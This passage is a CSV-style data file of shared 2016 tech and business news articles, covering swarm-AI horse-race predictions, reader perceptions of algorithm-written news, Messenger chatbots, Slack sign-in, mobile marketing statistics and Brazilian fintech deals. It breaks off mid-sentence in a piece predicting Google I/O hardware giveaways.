1462883787,CONTENT SHARED,1954074927376897165,3829784524040647339,-8661457191502436392,,,,HTML,http://finance.yahoo.com/news/swarm-correctly-predicts-kentucky-derby-160000074.html,"Swarm A.I. Correctly Predicts the Kentucky Derby, Accurately Picking all Four Horses of the Superfecta at 540 to 1 Odds","SAN FRANCISCO, CA--(Marketwired - May 9, 2016) - If you've been following the predictions made by UNU , a new ""Swarm Intelligence"" platform from Unanimous A.I., you might bet on the Kentucky Derby this weekend and won big, really BIG. That's because a day before the race, UNU's picks were published for the first four horses, in order. It's a bet called the Superfecta that paid 540 to 1 odds. And that's exactly how the horses came in. And this is not the first stunning pick UNU has made. How is this possible? It goes back to the birds and bees. Ants too. And fish. From swarms and flocks, to schools and colonies -- countless species have evolved techniques to amplify their intelligence in closed-loop systems that pool their insights and converge on optimal decisions. Biologists call this ""Swarm Intelligence"" and it allows groups to amplify their collective IQ beyond the capacity of individuals, proving the old adage -- many minds are better than one. Until recently, the human species has been unable to take advantage of this fundamental biological technique, for we didn't evolve the ability to swarm. Enter Unanimous A.I. , a Silicon Valley startup founded in 2014 by serial entrepreneur and researcher Dr. Louis Rosenberg. The core question Rosenberg set out to answer was: Can humans swarm, and if so can we amplify our intelligence beyond the ability of individuals? The answer appears to be a resounding yes. Unanimous spent the last two years building a swarm intelligence platform called UNU that enables groups to get together as online swarms -- combining their thoughts, opinions, and intuitions in real-time to answer questions, make predictions, reach decisions, and even play games as a unified collective intelligence. To quantify how smart these UNU swarms really are, researchers at Unanimous regularly convene swarms and ask them to make predictions on high profile events, testing whether or not many minds are truly better than one. UNU has made headlines in recent months by predicting the Oscars better than the experts, even besting the renowned forecasters at FiveThirtyEight. UNU also surprised the sports world by predicting the NCAA college bowl games with 70% accuracy against the spread, earning +34% return on Vegas odds. But still, the fact that average people could use UNU to amplify their collective intelligence so dramatically was met with cautious resistance. Enter Hope Reese, a reporter from TechRepublic. Two weeks ago, she challenged Unanimous A.I. to use UNU to predict the winners of the Kentucky Derby. ""We were reluctant to take this challenge,"" says David Baltaxe, Chief Information Officer at Unanimous. ""Nobody here knows anything about horseracing, and it's notorious for being unpredictable. Still, UNU surprises us again and again, so we recruited a swarm of volunteers through an online ad. The whole thing took 20 minutes."" Here's how it worked. During a first 10-minute session, the group used UNU to answer questions as a unified Swarm Intelligence, narrowing the field of 20 horses down to four winners. The swarm was then asked to order the four winners into Win, Place, Show, and Fourth. Then, a week later the Kentucky Derby announced the post positions of the horses, which impacts the potential outcome. So, the Swarm Intelligence was convened again, and asked if any changes should be made. One of the four picks was replaced by an alternate. This process took another 10 minutes. The picks were then reported to the reporter at TechRepublic, who published her story the day before the race was run. The article conveyed skepticism, quoting an expert who said if this really worked, it would disrupt gambling markets. The expert was right -- gambling may never be the same. That's because 24 hours later, the 142 nd Kentucky Derby was run and the four winning horses were in the exact order that UNU predicted. The odds of making such a pick, known as a ""superfecta,"" were 540 to 1. This means that anyone who bet $100 on the published picks in TechRepublic would have made $54,000. In fact, the TechRepublic reporter, Hope Reese, put down a bet herself on UNU's superfecta and won big. As did many readers, who have been emailing their appreciation to Unanimous A.I. ""Personally, I was speechless,"" said Louis Rosenberg, CEO of Unanimous. ""We've been blown away by how smart UNU has been in prior predictions, but when the horses crossed the line I almost didn't believe it, especially since we put ourselves out there by publishing the picks. And here's the amazing thing -- while the Swarm A.I. got the picks perfect, not a single individual who participated in the swarm got the picks right on their own -- not one."" Rosenberg knows this because the participants also filled out surveys, indicating their individual picks. This allows researchers to compute the amplification of intelligence that the swarm showed vs individuals. Rosenberg calls this the Amplification Intelligence Quotient (AIQ). It's computed as the percent correct made by Swarm Intelligence divided by the percent correct of individuals. In this case, they looked at how well the individuals picked any single horse to finish in the correct order. The Swarm was 100% correct in picking horses to finish in the correct order, while the individuals who comprised the swarm were only 23% correct. This means the AIQ of the swarm showed a 435% amplification of intelligence. ""If we assume the average IQ of an individual participant was 104, which is the global average, we could say that when it came to horse racing UNU demonstrated a 435% amplification over that,"" Rosenberg explains. ""That puts this UNU swarm at an IQ of 452 in this context. We think that's a pretty fun way to look at it."" Researchers at Unanimous also like to compare the power of swarms to the standard polls. Using the survey data from the individuals who participated in the swarm, researchers asked -- what if this group had taken a vote and bet on the horses that were the most popular picks? It turns out that if you take the most frequent picks made by the participants on their own, the group would have collectively gotten only one correct prediction -- the favorite to win, Nyquist. ""Why do swarms outperform polls, surveys, and markets? Millions of years of evolution should give us a clue,"" says Rosenberg. ""The birds and the bees don't vote, or take surveys, or use sequential prediction markets. They form real-time dynamic systems that explore a decision space together, in synchrony, and converge on optimal solutions in unison. Now, with UNU, any human group can login and do that too, and the results are pretty amazing."" For those interested in tapping into a swarm, visit: . About Unanimous A.I. Unanimous A.I. develops technologies for Swarm Intelligence, unlocking the hidden brainpower inherent in groups. Unlike traditional A.I., which aims to replicate human intelligence with technology, Unanimous keeps people in the loop, amplifying human intelligence rather than replacing it. For more information, visit",en
1462886603,CONTENT SHARED,-2118981143119783447,-1479311724257856983,8387961657941885412,,,,HTML,http://www.en.uni-muenchen.de/news/newsarchiv/2016/haim_journalism.html,What readers think about computer-generated texts,"Media research München, 05/03/2016 An experimental study carried out by LMU media researchers has found that readers rate texts generated by algorithms more credible than texts written by real journalists. Readers like to read texts generated by computers, especially when they are unaware that what they are reading was assembled on the basis of an algorithm. This, at any rate, is the conclusion suggested by the results of an experiment recently conducted by LMU media researchers. In the study, 986 subjects were asked to read and evaluate online news stories. Articles which the participants believed to have been written by journalists were consistently given higher marks for readability, credibility and journalistic expertise than those that were flagged as computer-generated - even in cases where the real ""author"" was in fact a computer. Several media outlets already regularly publish texts put together by computer programs. Perhaps the best known of those that have adopted the practice - sometimes dubbed 'robot journalism' - is the well-known news agency Associated Press. German publishers have also begun to make use of algorithms to compile texts. At the moment, these are most likely to turn up on the sports pages and in the financial section, as news reports in these fields tend to be based on source data that are already structured in predictable ways. Dr. Andreas Graefe and Professor Hans-Bernd Brosius at LMU's Department for Communication Studies and Media Research (IfKW) have now investigated how readers perceive and respond to news stories generated by computers. The results of their study appear in the latest issue of "" Journalism "". Graefe and colleagues chose two texts from the online editions of popular German news outlets. One was a report of a soccer match, the other was devoted to the market performance of shares issued by an automotive supplier. In addition, they used an algorithm developed at the Fraunhofer Institute for Communication, Information Processing and Ergonomics to generate texts on the same subjects. Each participant in the study was then given a sports text and a business text to read, together with a note stating whether they had been written by a journalist or a computer program. What the experimental subjects did not know was that, in some cases, the information given in these notes was deliberately misleading, i.e. untrue. When they analyzed the results of the experiment, the LMU researchers discovered that their study population found articles actually or putatively written by humans to be more readable than computer-generated texts. In spite of this preference, however, the latter were judged to be more credible than the stories actually written by journalists. This second finding surprised even the designers of the experiment. ""The automatically generated texts are full of facts and figures - and the figures are listed to two decimal places. We believe that this impression of precision strongly contributes to the perception that they are more trustworthy,"" says Mario Haim of the IfKW, one of the authors of the paper. However, with respect to readability, readers always rated articles attributed to real journalists more favorably - even when the attribution was false. ""To explain this finding, we assume that readers' expectations differ depending on whether they believe the text to have been written by a person or a machine, and that this preconception influences their perception of the text concerned,"" says Haim. A more critical approach to computer-based texts might also result from the fact that readers have little experience with such reports. Overall, however, the differences in assessment of the two types of text were relatively small. ""We would argue that this suggests that brief, computer-generated texts dealing with sporting events or business and finance are already very appealing to readers,"" Haim concludes. For more information, see :",en
1462898424,CONTENT SHARED,8689098216946253326,3609194402293569455,2271732904049912964,,,,HTML,http://techcrunch.com/2016/05/10/facebook-chatbot-analytics/,"Facebook says 10K+ developers are building chatbots, analytics coming","Despite gripes about the usefulness of Facebook chatbots, ""tens of thousands"" of developers are building them, Messenger's head of product Stan Chudnovsky revealed onstage at TechCrunch Disrupt NY. 2500 Shopify merchants have Facebook chatbots too, showing ecommerce companies are eager to reach Messenger's nearly-one billion users. You can watch Chudnovsky's full panel with TechCrunch's Facebook reporter Josh Constine here: These bots are getting pretty chatty. One of the more recent high-profile chatbots introduced on the Messenger platform, Activision's Call of Duty bot, saw engagement soar to nearly 6 million messaged exchanged between users in its first week of existence. The problem is that if bots get spammy, they could drown out people's friends in Messenger. That might make them less likely to check their phones every time Messenger buzzes. Luckily, Chudnovsky says Messenger is considering different ways to protect users from bot spam, including delayed or bulk delivery, different sounds or vibration patterns, or not sending notifications at all. Ideally, developers would be able to self-police their spam rather than Facebook stepping in. Right now, they have little insight into how their bots are performing. But Chudnovsky confirmed that Facebook is hard at work building a full-fledged Messenger chatbot analytics system. That could show them which messages are annoying users, leading them to block or ditch a bot, and which calls to action or messaging schedules are most engaging. As Messenger has opened the platform to better foster user-to-business communications, Constine inquired whether chatbots could dehumanize Messenger. Chudnovsky discussed how in fact, the current communication networks between businesses and customers are overly robotic, with touch-tone phone trees and hold times. He says there's definitely potential for the Messenger chatbot platform to improve those connections. ""If we can make it easer for people to communicate with businesses that seems like a massive opportunity,"" Chudnovsky responded. One thing clear from the talk is that there's rarely such thing as a minor launch on Messenger. Chudnovsky told Constine that the platform's group calling feature had garnered nearly 11 million minutes of group VoIP audio calling in its first 24 hours without much promotion. Despite touting the successes of group features he offered a pithy ""no comment"" when asked if group video calling was coming next, but then relented that ""We agree that would be an excellent experience.""",en
1462898520,CONTENT SHARED,-3169423801125605259,1895326251577378793,-2361205625828745464,,,,HTML,http://www.businessinsider.com/amazons-share-of-grocery-industry-2016-5,Amazon has a huge opportunity in grocery delivery,"On Monday, Amazon announced it was teaming up with Tyson Foods to launch an online recipe delivery service similar to Blue Apron, where people will be able to order a ""recipe"" and have all the ingredients delivered to them. Online grocery delivery has been a tough business to crack - the list of failures, starting with Webvan in the dot-com bust, is long. But as this chart from Statista shows, the opportunity is too huge to ignore. Amazon today has around one-third of the market for U.S. grocery delivery today, according to Cowen & C0., and that's expected to increase to one-half share of a larger pie by 2021. But even then, online delivery will account for less than 10% of total grocery spending. If Amazon can just convince more people to skip that trip to the store, the opportunity is enormous. Statista Disclosure: Jeff Bezos is an investor in Business Insider through his personal investment company Bezos Expeditions.",en
1462899171,CONTENT SHARED,279771472506428952,-8845298781299428018,414537565071856330,,,,HTML,http://www.forbes.com/sites/janakirammsv/2016/05/09/five-unique-features-of-google-compute-engine-that-no-iaas-provider-could-match/,5 Unique Features Of Google Compute Engine That No IaaS Provider Could Match,"Google Compute Engine (GCE), the infrastructure service of Google Cloud Platform, is a late entrant in the market. Amazon EC2 was announced in 2006 while Microsoft added VMs to Azure in 2012. Google announced the general availability of GCE only in late 2013. Source: Google Despite being the laggard in the IaaS [...]",en
1462900819,CONTENT SHARED,-277169424764188814,-8020832670974472349,6591589950888064394,,,,HTML,https://medium.com/slack-developer-blog/introducing-sign-in-with-slack-290949e1c3f5,Introducing Sign in with Slack - Slack Platform Blog,"Introducing Sign in with Slack Today, we're introducing Sign in with Slack, a way for customers to quickly sign up for your app using their Slack identity. More than just log in, Sign in with Slack keeps teams connected across the many apps they use for work. When a user signs up for your app using Sign in with Slack, they'll be instantly connected to their teammates within your product. For customers, this is an invisible but delightful feature. It exemplifies our mission in action - making people's working lives simpler, more pleasant, and more productive - by keeping teams effortlessly in sync. Developer Benefits With Sign in with Slack, you can whitelist an entire Slack team as a group of new users, which eases billing and IT administration and improves end-user experience. On top of that, Sign in with Slack has some other handy advantages: It's fast : sign up users for your app quickly by allowing them to use their existing Slack login and profile information. It's simple : add sign in with Slack in 3 steps. Enrich your app experience with Slack team and user information. It's secure : we'll handle managing SSO providers and two-factor authentication, you just implement standard OAuth. How to Use Sign in with Slack Integrating Sign in with Slack with your app should feel familiar because it uses OAuth 2.0 , just like the rest of the Slack platform. We've created a new set of OAuth scopes that let you choose which bits of user and team information are needed to sign in to your app. identity.basic : request access to basic identifying information about the user and their team identity.email : request access to the user's email address identity.avatar : request access to the user's profile image identity.team : request access to the user's team name, domain, and icon image Once someone's completed the OAuth flow, all you need to do is call the users.identity method, and you'll get all of the bits you requested for that team and user. { ""ok"": true, ""team"": { ""domain"": ""kingsguard"", ""id"": ""T03PKGL8S"", ""image_102"": "" "", ""image_132"": "" "", ..., ""name"": ""Kingsguard"" }, ""user"": { ""email"": [email protected] , ""id"": ""U03PKGLEE"", ""name"": ""Arthur Dayne"" } } Partners Using Sign in with Slack Here are a few examples of companies using Sign in with Slack today. Quip Quip's brand new Slack app, equipped with Sign in with Slack, is launching today. Sign in with Slack can be found right on their home page. Upon signing in with Slack you are automatically connected to your Slack team within Quip. No extra team creation required - your team already exists within Quip in one fell swoop. From there, you can use Slack and Quip to supercharge the way that you brainstorm and create documents with your team. Figma The team at Figma also uses Sign in with Slack to onboard new customers and connect them with their teammates within Figma. Since Figma is a collaborative design product, staying connected to your team is critical. Upon signing in with Slack, Figma groups you with your Slack teammates so that you can get straight to work on files shared among your team. We have four other apps using Sign in with Slack today that you can check out: Kifi , OfficeVibe , Slackline and Smooz . To get started Whether you're already a Slack developer or just getting started, adding Sign in with Slack to your app is simple. Follow our walkthrough , and your customers will be on their way to a more pleasant sign in experience in no time. We're always happy to hear your feedback. If you have any questions or suggestions for improvement, please write in or tweet @SlackAPI .",en
1462902153,CONTENT SHARED,-4049108709890217048,-1387464358334758758,7076717377893039302,,,,HTML,http://googleappsupdates.blogspot.com.br/2016/05/stay-focused-with-google-calendar-event.html,Stay focused with Google Calendar event notifications in your browser,"We're happy to announce that starting today the Gentle Notifications lab is graduating to become a fully supported feature. You can now continue working in other tabs uninterrupted without losing track of your next meeting. Event notifications in browsers which support Web Notifications (like Google Chrome) will allow you to use native browser notifications instead of interruptive alerts. Get notifications using your browser's native notification. This new feature is opt-in and automatically activated for existing lab users. In order to opt-in, simply enable browser notifications from the settings menu in Google Calendar. Launch Details Release track: Launching to Rapid release, with Scheduled release coming in 2 weeks Rollout pace: Full rollout (1-3 days for feature visibility) Action: Change management suggested/FYI Note: all launches are applicable to all Google Apps editions unless otherwise noted Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1462909635,CONTENT SHARED,3149164017776669829,-3390049372067052505,-5764325092046707218,,,,HTML,http://www.smartinsights.com/mobile-marketing/mobile-marketing-analytics/mobile-marketing-statistics/,Mobile marketing statistics 2016,"Statistics on consumer mobile usage and adoption to inform your mobile marketing strategy mobile site design and app development "" Mobile to overtake fixed Internet access by 2014 "" was the huge headline summarising the bold prediction from 2008 by Mary Meeker, an analyst at Kleiner Perkins Caufield Byers who reviews technology trends annually in May. The mobile statistics that the team at Smart Insights curate in the regular updates to this article include: Ownership of smartphone vs Desktop Mobile vs desktop media and website use Mobile advertising response Smartphone vs Tablet vs Desktop conversion rates Well, we're now past the mobile Tipping Point as this report from comScore shows. So it's no longer a case of asking whether mobile marketing important, we know it is! It's now a question of using the statistics to understand how consumers behave when using different types of mobile devices and what their preferences are. To help you keep up-to-date with the rise in consumer and company adoption of mobile and its impact on mobile marketing, I will keep this post updated throughout 2016 as the new stats come through to support our 120 page Expert members Ebook explaining how to create a mobile marketing strategy . We also have this free summary mobile strategy briefing for Basic members. Our Mobile Marketing Strategy Briefing explains the key issues to plan for in mobile marketing. Download our Free Mobile Marketing Guide . We have grouped the latest mobile stats under these headings for key questions marketers need to answer about mobile to help them compete: Q1. Time spent using mobile meida Q2. Percentage of consumers using mobile devices Q3. How many website visits are on mobile vs desktop devices? Q4. Mobile device conversion rates and visit share for Ecommerce sites? Q5. Mobile - app vs mobile site usage? Q6. How important are mobile ads OK, let's go! Q1. How much time do consumers spend using mobile media? Mary Meeker's annual spring updates on mobile are a must-read if you follow consumer adoption of technology platforms, so we have used some of the key findings from the latest KPCB mobile technology trends by Mary Meeker. Her deck is nearly 200 slides, so we have selected the statistics which best summarise the importance of mobile devices today. The latest data shows that we are now well past the tipping point mentioned at the top of this post. Mobile digital media time in the US is now significantly higher at 51% compared to desktop (42%). The implications are clear - if you're not able to reach your audience through mobile search or display, or you're not providing a satisfactory mobile experience you will miss out compared to competitors who are. The trend in mobile device usage ('vertical screens') compared to all screen use again shows that we're well past the tipping point. Q2. Percentage of consumers using mobile devices? We've created a new summary showing the global popularity of using different digital devices using data from Global Web Index to include in for our State of Digital Marketing 2015 infographic. It clearly shows the popularity of smartphone ownership and emerging mobile devices like Smartwatches. Insight from comScore published in their February 2014 market review shows the picture that marketers need to build up. This panel data shows that the majority of consumers are ""multiscreening"", accessing retail sites on mobile or desktop, so consistent experiences across device need to be deployed. You need to answer this for your own site. As Rob Thurner explained in his post on KPIs to review mcommerce effectiveness , it's important to keep track of the split between users of mobile and desktop devices visiting your site(s). Using advanced segments in Google Analytics is the best way to do this. Q3. How many website visits are on mobile vs desktop devices? However, we need to be careful with interpreting data on hours spent, since we spend most of our time on smartphones checking email and using social media. This has led to the common mantra of 'mobile-first' design which I think is dangerous. Although mobile is growing in importance, this data from Adobe's latest Digital Index shows that in all industries the majority of visits are still on desktop. So with so many site visits still on desktop, it's important when designing using a responsive web design that the desktop experience isn't degraded and this has led to many larger businesses using an adaptive web design where layout and content are tailored for desktop, tablet and smartphone screen dimensions. Q4. Mobile device conversion rates and visit share for Ecommerce sites? We have a separate compilation of Ecommerce conversion stats if you're creating a business case for mobile optimised sites as explained in our mobile marketing strategy guide, this data is also valuable since it shows the variation in conversion rate by mobile type. This is the latest data from Monetate for their retail clients showing conversion rates. The data clearly shows that Smartphone add-to-cart and conversion rates are much lower than for desktop - important if you're making the business case for a mobile responsive site. This source is useful since it's a regular survey showing the growth in use of mobile site visitors. enables you to drill down to see usage by device type, for example iPad is still the dominant tablet, but Kindle Fire and Android tablets now account for over 10% of tablets. You can see that tablet and smartphone use nearly doubled in the year based on 500 million plus visits for these retail clients (see link above for methodology). Q5. Mobile media time - app vs mobile site usage? Consumer preference for mobile apps vs mobile sites should also be thought through as part of mobile strategy. This data from Nielsen on mobile media time shows the consumer preference for mobile apps which account for 89% of media time in mobile as might be expected from the use of the most popular social network, email and news apps. App usage (90% of time) dominates browsers in mobile usage We reported comScore data in May 2012 that showed that on smartphones 82% of mobile media time is via apps . Today, the latest data from Yahoo's Flurry analytics shows that 90 percent of consumer's mobile time is spent in apps . As they put it,put it: It's an App World. The Web Just Lives in It . This is a key insight as companies decide whether to develop mobile apps or create mobile device specific apps. This 90% figure is a key insight as companies decide whether to develop mobile apps or restrict themselves to mobile optimised sites. You do have to be careful about interpreting this since, as the chart below shows, Facebook, messaging, games and utility apps will naturally have the greatest time spent and browser use is still significant by volume if not proportion. But this has implications for advertising on mobile to reach consumers using apps like Facebook and Gmail. Q6. Mobile Ad Spend still lags behind Mobile Media Consumption So, how have advertisers responded to the change in mobile media time? The next chart shows that despite the growth in media time above, some advertisers are missing out since the right-most bar shows that there is a huge missing opportunity on mobile advertising This research sourced from a 2015 study by eMarketer into mobile ad budgets shows a different view. In 2015 mobile ad spending accounts for 49% of digital ad spending, which is only slightly behind the trends of how people are using their devices. These stats also show projections for future growth, which is important as it shows where the market is going. It is clear that mobile is the future, and within 3 years it will come to dominate digital ad spending. Q2. How consumers research products using mobile search and review sites Google's mobile path to purchase report surveyed 950 US consumers across 9 different verticals (Restaurants, Food & Cooking, Finance, Travel, Home & Garden, Apparel & Beauty, Automotive, Electronics, Health & Nutrition) to assess how they researched purchases via mobile. A key finding is the starting point for mobile research. As might be expected search was the most common starting point, but it's lower than desktop showing the importance of branded apps and mobile sites. The 5 best sources for mobile marketing statistics? This update to this post features some of the latest updates on mobile statistics from 2014 and highlight some of the best sources to make the business case for investment in mobile marketing in your presentations and business cases to colleagues or clients. 1. Google Mobile Planet. A regular survey for different countries starting in 2011, this enabled you to prepare your own reports. Now this has been replaced by Google's Consumer barometer which enables you to create similar reports. In addition to downloads for each country, you can also create your own charts focusing on KPIs of interest. For example, if you're based in Australia you can look at usage by demographic. The weakness of the current data is that it focuses on Smartphones, not tablets. It may be useful for pushing back against over-enthusiastic colleagues or understanding consumer barriers. For example, less than a third of Australians have ever bought on a smartphone and you can see there are barriers of security and preference for desktop purchases. 2. ITU . The International Telecoms Union data reports mobile usage including mobile broadband subscriptions to show growth in use of mobile. This reported at country, continent and overall levels, so is the best overall source for mobile penetration worldwide. Much of the information is free - see their free mobile statistics section . 3. Flurry Mobile Analytics . This is a great source for showing the overall level of app usage across the four major mobile app platforms by country and drilling down into the popularity of individual apps for different sectors like retail, banking and travel. For example, the latest mobile app growth figures from Flurr y show growth of category use by more than 50% in many categories. Comscore is one of the key worldwide sources useful for marketers to help us find out about the changes in use of mobile media by consumers. This graph shows the pattern across Europe - follow the link above for US and other country breakdowns. The report shows much lower levels of adoption in other European countries though - not even a fifth in most. So extrapolating UK behaviour to other countries would seem to be a mistake with the mobile figure still key. The report also has useful summary of dayparts of different device behaviour, similar to others published. Retail mobile use Mobile was again the focus of the section on retail statistics. Audience growth rate is 80% + on mobile in these UK sites, but lower on grocer sites for obvious reasons. 5. Ofcom Internet usage report . Ofcom's Eighth International Communications Market Report was published in December 2014, this examines take-up, availability, price and use of broadband, landlines, mobiles, TV, radio and post across 17 major countries. As example, here's the picture of desktop vs mobile device in the UK showing that when you look at most important device, desktop and laptop remain important. We hope this compilation of statistics about mobile usage and effectiveness continues to be useful - please share if it is and we'll continue to update it in 2015. If you want a single source of the latest stats across the whole of digital marketing, for Expert members, we compile a regularly updated set of usage statistics to use in presentations - it's updated each quarter so all the latest stats are categorised in a single place for including in presentations. Our ""one-stop"" download includes the latest stats to include in presentations to make the case for digital investment. Download our Online marketing statistics compilation .",en
1462911150,CONTENT SHARED,3241240229241793423,-6316613156648676087,-7383991099694021245,,,,HTML,http://exame.abril.com.br/tecnologia/noticias/startup-usa-algoritmo-e-rede-social-para-aprovar-emprestimos,Startup usa algoritmo e rede social para aprovar empréstimos | EXAME.com,"São Paulo - A Enova acredita no poder de um algoritmo . A startup é uma fintech-nome que se dá às empresas atuando no mercado de finanças. Recentemente, a Enova anunciou o lançamento da solução Decisions . A ferramenta pode ser adotada por empresas para análise preditiva de crédito em tempo real, geração de ofertas customizadas ou ajuda no momento de decidir o preço de um produto, entre outras possibilidades. A Decisions é mais uma ferramenta oferecida pela Enova. Até agora, a atuação principal da empresa, aqui no Brasil, era de oferecer empréstimos de até 2.500 reais a pessoas físicas, com o serviço chamado Simplic . A diferença, em comparação com empresas tradicionais, é que não há nenhuma interação física entre quem pede o empréstimo e a Enova. Tudo é feito virtualmente pela internet. O pedido de empréstimo deve ser feito no site da empresa e um algoritmo de computador diz se ele foi aprovado ou não. ""Não fazemos uma análise binária-tomando como base apenas o Serasa. Na nossa análise entram muitos indicadores"", falou a EXAME.com Rafael Pereira, CEO na Enova no Brasil. De acordo com o executivo, podem ser analisadas até postagens públicas em redes sociais como Facebook ou Twitter. O comportamento da pessoa ao longo do processo também entra em conta. Nos casos mais complexos, o algoritmo leva entre dois e três segundos para dar uma resposta. Em linhas gerais, a Enova e Pereira acreditam que a análise feita por um algoritmo pode superar aquela feita por humanos ou por um gerente de banco. ""Tecnologia está trazendo inovação a setores tradicionais. Nós não estamos contra os bancos. O desafio é acharmos uma maneira de coexistir"", disse Pereira. A Enova nasceu e tem sua sede em Boston, nos Estados Unidos. No Brasil está operando desde junho de 2014. Em 2014, a empresa fez um IPO e suas ações passaram a ser oferecidas publicamente.",pt
1462912975,CONTENT SHARED,-329139582593571060,-3390049372067052505,-5764325092046707218,,,,HTML,http://www.valor.com.br/financas/4283234/itau-preve-aumentar-escala-da-conectcar,Itaú prevê aumentar escala da ConectCar,"SÃO PAULO - O investimento de R$ 170 milhões que o Itaú Unibanco fará por metade da ConectCar, facilitadora de pagamentos eletrônicos em pedágios, postos de gasolina e estacionamento, está sustentado na aposta do banco de que será capaz de dar mais escala a essa operação - que ainda está longe de ter o tamanho de seu principal concorrente, o SemParar. Vice-líder nesse segmento, a ConectCar tem em circulação 510 mil tags (os dispositivos de pagamento fixados nos veículos), o que representa apenas 9% do mercado (que tem 5,6 milhões de dispositivos ao todo). O Itaú anunciou na noite de quarta-feira um acordo para comprar os 50% que a Odebrecht Transport detinha na ConectCar. A outra metade da operação pertence à Ipiranga Produtos de Petróleo, empresa controlada pela Ultrapar Participações ""Daqui para frente, a ConectCar tem dois grandes desafios: ter mais capilaridade, sendo aceita em mais lugares, e ter uma base maior de clientes. São duas coisas que o banco tem muito a complementar"", afirma Milton Maluhy Filho, diretor-executivo do Itaú. A ideia é que a ConectCar vá muito além das estradas e postos de combustível. Na lista de possibilidades de uso da tecnologia, Maluhy cita itens como pagamento de Zona Azul, de pedágios urbanos, e um avanço para estacionamentos que não sejam apenas os de grandes shoppings centers. Pelo lado da distribuição, o produto será também oferecido pelos canais do banco, não só para seus clientes pessoa física como também para empresas, mirando, por exemplo, os gestores de grandes frotas rodoviárias. O banco pretende usar sua operação de financiamento de veículos - que apesar de seguir em queda, ainda é uma das maiores do país - para vender o dispositivo. Em 2014, os pedágios do país somaram 1,6 bilhão de passagens de veículos, o equivalente a R$ 15 bilhões em volume financeiro movimentado, com crescimento de 10% ante o ano anterior, concentrados especialmente em São Paulo. Cerca de 25% dessas passagens são pagas de forma eletrônica, ou seja, esse segmento movimentou algo em torno de R$ 3,7 bilhões no ano passado, segundo Leocadio Antunes de Almeida Filho, diretor-superintendente da Ipiranga. ""Mesmo dentro da base de clientes Ipiranga há um grande espaço para a ConectCar crescer"", afirma Almeida Filho. Ele cita, por exemplo, que o programa de fidelidade da rede de postos de gasolina, o ""KM de Vantagens"", tem 19 milhões de associados. ""Não há porque o ConectCar não atingir o mesmo potencial"", diz. De acordo com Maluhy, do Itaú, a aquisição de fatia da ConectCar faz com que a oferta de meios de pagamentos do banco vá além de ser uma ""commodity"", que seja mais diversificado, algo especialmente importante no mercado de captura de cartões no varejo. O Itaú é controlador da Rede (ex-Redecard), que será a empresa do grupo que fará a compra da fatia na ConectCar. A Rede tem enfrentado pressões competitivas crescentes, na medida em que avança a entrada de novos competidores nesse segmento, o que tem levado o banco a olhar para oportunidades como tal aquisição. Segundo Maluhy, não houve uma concorrência pela compra do ativo e a expectativa dele é que a aprovação pelos órgãos reguladores não demore. ""A Odebrecht teve um papel muito importante em pavimentar a entrada da ConectCar em um mercado em que havia exclusividade. Mas os desafios da ConectCar foram mudando e vimos uma oportunidade de entrar em um segmento que já estávamos estudando"", diz. A parceria na ConectCar é a mais nova adição ao conjunto de operações que Itaú e o grupo Ultra têm juntos. Os dois têm um cartão de crédito co-branded (afinidade, com bandeira), embora o banco não abra o número de unidades emitidas. A Ipiranga também distribui máquinas da Rede para toda sua malha de postos de gasolina, ao passo que a empresa de cartões fica responsável por fazer, em seu terminal, toda a solução tecnológica do ""KM de Vantagens"".",pt
1462917715,CONTENT SHARED,7938100642081250873,-1443636648652872475,1834840117883794874,,,,HTML,http://www.networkworld.com/article/3068005/android/what-swag-will-google-io-2016-attendees-take-home.html,What SWAG will Google I/O 2016 attendees take home?,"Next week, Google will show its love for independent software developers by giving them an exclusive first-look at new technologies and early and free access to new hardware at the ninth annual Google I/O conference . Here are a couple of educated guesses at free hardware, which developers call SWAG (something we all get), attendees will take home. Early access hardware giveaways The past is a good predictor of the future. Looking back at earlier I/O shows, Google wanted to give their loyal developers a head start developing for strategic new platforms and bestowed upon them the newest hardware. Steven Max Patterson All of the strategic platforms above still exist except for the Nexus Q. Android market share has grown from less than 40 percent at the time of Google I/O in 2012 to more than 80 percent worldwide. Android Wear, which debuted in 2014, has become a solid wearable platform that IDC predicts will hold 40 percent market share by 2020. AndroidTV hasn't dominated home media centers, but Chromecast is the most popular television streaming device. As of January 2016, more than 5 million virtual reality (VR) Cardboard viewers have shipped. Chromebook growth has not been as breathtaking as Android, but it has grown steadily, reaching a little more than 2 percent of the PC market. A look forward will help find a gap in Google's strategic platforms that could predict what hardware Google will give away. SWAG Prediction 1: A Pixel tablet and detachable keyboard running Android N with split screen, floating windows and a mouse-and perhaps a stylus and Google Fi Notebooks, tablets and smartphones are merging into a single mobile device form factor. In the face of year-over-year declines in PC and tablet shipments, IDC predicts the detachable keyboard category will grow by 78 percent this year and at a CGR of 15 percent during the next five years as devices consolidate. Google has a gap in this category. The Microsoft Surface Pro product line proved the detachable tablet case for people tied to the Microsoft Outlook, Office and SharePoint ecosystem, offering a new Metro user interface (UI) that includes a touch screen and stylus. Apple's equivalent is the iPad Pro. Android and Chromebook devices have a gap in filling the same role as a windowed platform within the Google ecosystem. But with some of the new features of Android N, the gap could be closed. Android has supported keyboards, mice and styluses since at least Release 4.0 Jellybean. Android N supports split screen that divides the screen between two apps. With a little persistence using root access and a change to permission, free floating and resizable windows can be exposed in Android N. Attendees might get a Pixel C, Google's top-build-quality, ultra-mobile 9-in. tablet with a detachable magnet keyboard. It ships right now with Android Marshmallow but can be updated with an Android N image easily downloaded and installed like a standard over-the-air (OTA) update. It could be something more than a Pixel C with a windowing version of Android N that has the one more feature needed to replace a notebook and perhaps a smartphone, too-a 4G connection. The giveaway might be a Pixel C-like device with 4G network support that includes a free three-, six- or 12-month subscription to Google's virtual mobile network, Google Fi, proving that a single device can serve almost all mobile use cases. SWAG Prediction 2: A refined lower-cost, phone-sized Project Tango device to accelerate (augmented reality) AR applications and perhaps Project Tango support with Google Cardboard It is not the right time for Google to introduce an entirely new VR and AR product without producing more noise and less clarity because the developer community is fully consumed with early VR shipments from Oculus and HTC. The challenge for Google right now is remaining relevant in a VR tsunami. A lower-cost Project Tango device with better power efficiency than the early prototypes could help the company do that. Google arrived early in the AR world, with Project Tango introduced almost two years ago. The Project Tango Tablet uses infrared and RGB cameras in conjunction with position data from the gyroscope and accelerometer to determine 3D relative position. It creates a point map that accurately represents 3D space. A Tango device could map a room or whole floor in a building into a 3D map. A Project Tango device could also be combined with a Cardboard or Samsung Gear VR-like headset to serve as an affordable AR demonstration and developer kit. Both Lenovo and Asus have announced phone-sized Project Tango devices that would also fit nicely into a headset form factor. AR apps could be built to replace a tape 